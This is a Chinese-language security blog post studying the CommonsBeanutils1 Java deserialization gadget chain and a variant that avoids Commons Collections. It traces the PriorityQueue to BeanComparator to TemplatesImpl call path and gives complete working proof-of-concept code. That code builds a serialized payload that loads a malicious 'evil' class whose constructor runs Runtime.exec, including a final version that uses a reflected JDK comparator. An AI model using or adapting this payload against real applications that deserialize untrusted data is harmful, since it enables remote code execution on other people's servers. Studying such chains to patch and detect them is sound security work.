cb链子与无依赖cc构造学习

发布时间 2023-10-06 11:54:19作者: Ho1d_F0rward

本文默认你已经学习了cc链子

依赖于cc链的构造

这是cc链子中使用字节码来进执行任意命令的利用链子.

PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                PriorityQueue.siftDownUsingComparator()
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                                Method.invoke()
                                    TemplatesImpl.newTransformer()
                                         TemplatesImpl.getTransletInstance()
                                         TemplatesImpl.defineTransletClasses
                                         newInstance()
                                            Runtime.exec()

TransformingComparator和InvokerTransformer都是cc链中所特有的.那么我们的目标即找到一个类的compare()方法可以调用到TemplatesImpl的newTransformer()方法.但我们注意到TemplatesImpl的 getOutputProperties()方法本身就调用了newTransformer()方法.

public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

那么我们的目标就寻找调用了 getOutputProperties()的方法.同时观察getOutputProperties方法名,这是一个javaben类的属性获取方法.同时

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty ,让使用者可以直接调用任意JavaBean的getter方法,比如

PropertyUtils.getProperty(new Cat(), "name");

那么我们找commons-beanutils中存在的compare()方法.在BeanComparator类中存在compare方法.

public int compare( final T o1, final T o2 ) {

        if ( property == null ) {
            // compare the actual objects
            return internalCompare( o1, o2 );
        }

        try {
            final Object value1 = PropertyUtils.getProperty( o1, property );
            final Object value2 = PropertyUtils.getProperty( o2, property );
            return internalCompare( value1, value2 );
        }

那么我们的思路就打通了,通过BeanComparator类中存在的compare方法实现直接对getOutputProperties()方法的调用.

public class CommonsBeanutils1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(evil.class.getName());
        byte[] code =clazz.toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "gk0d");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        BeanComparator comparator = new BeanComparator();
        // final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        Queue queue = new PriorityQueue(2, comparator);
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}
public class evil extends AbstractTranslet {
    public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {
    }

    public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
    }

    public evil() throws Exception {
        String[] var1 = new String[]{"cfw"};
        Runtime.getRuntime().exec(var1);
    }
}

但是这个还是依赖于cc链的,因为我们如果初始化的参数如果为null,就会调用cc链中的ComparableComparator类.

import org.apache.commons.collections.comparators.ComparableComparator;

public class BeanComparator implements Comparator, Serializable {
    private String property;
    private Comparator comparator;

    public BeanComparator() {
        this((String)null);
    }

    public BeanComparator(String property) {
        this(property, ComparableComparator.getInstance());
    }

那么我们寻找一下ComparableComparator的最终逻辑处理类.

public BeanComparator(String property) {
        this(property, ComparableComparator.getInstance());
    }

    public BeanComparator(String property, Comparator comparator) {
        this.setProperty(property);
        if (comparator != null) {
            this.comparator = comparator;
        } else {
            this.comparator = ComparableComparator.getInstance();
        }

    }

无依赖于cc链的构造

那么这个comparator的要求就明确了

  • 实现 java.util.Comparator接口(Comparator comparator)
  • 实现java.io.Serializable接口(要进行序列化)
  • Java,或commons-beanutils自带

经过一个简单查找即可发现CaseInsensitiveComparator类,且可以通过CASE_INSENSITIVE_ORDER获取.

public static final Comparator<String> CASE_INSENSITIVE_ORDER
                                         = new CaseInsensitiveComparator();
    private static class CaseInsensitiveComparator
            implements Comparator<String>, java.io.Serializable {
        // use serialVersionUID from JDK 1.2.2 for interoperability

同时还有其他很多的类我们可以利用如

 private static final InsensitiveComparator INSTANCE = new InsensitiveComparator();
 private static final class InsensitiveComparator implements Comparator<String>, Serializable {

使用反射获取后也是可以利用的

最终poc

import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import com.sun.xml.internal.ws.transport.Headers;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;


public class CommonsBeanutils1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Comparator getValue(Object instance) throws NoSuchFieldException, IllegalAccessException {
        Class<?> clazz = instance.getClass();

        // 获取私有变量的Field对象
        Field privateField = clazz.getDeclaredField("INSTANCE");

        // 设置私有变量的访问权限
        privateField.setAccessible(true);

        // 获取私有变量的值
        Object value = privateField.get(instance);
        return (Comparator) value;
    }

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(evil.class.getName());
        byte[] code =clazz.toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "gk0d");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        //BeanComparator comparator = new BeanComparator();
        final BeanComparator comparator = new BeanComparator(null, getValue(new Headers()));
        Queue queue = new PriorityQueue(2, comparator);
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

调用链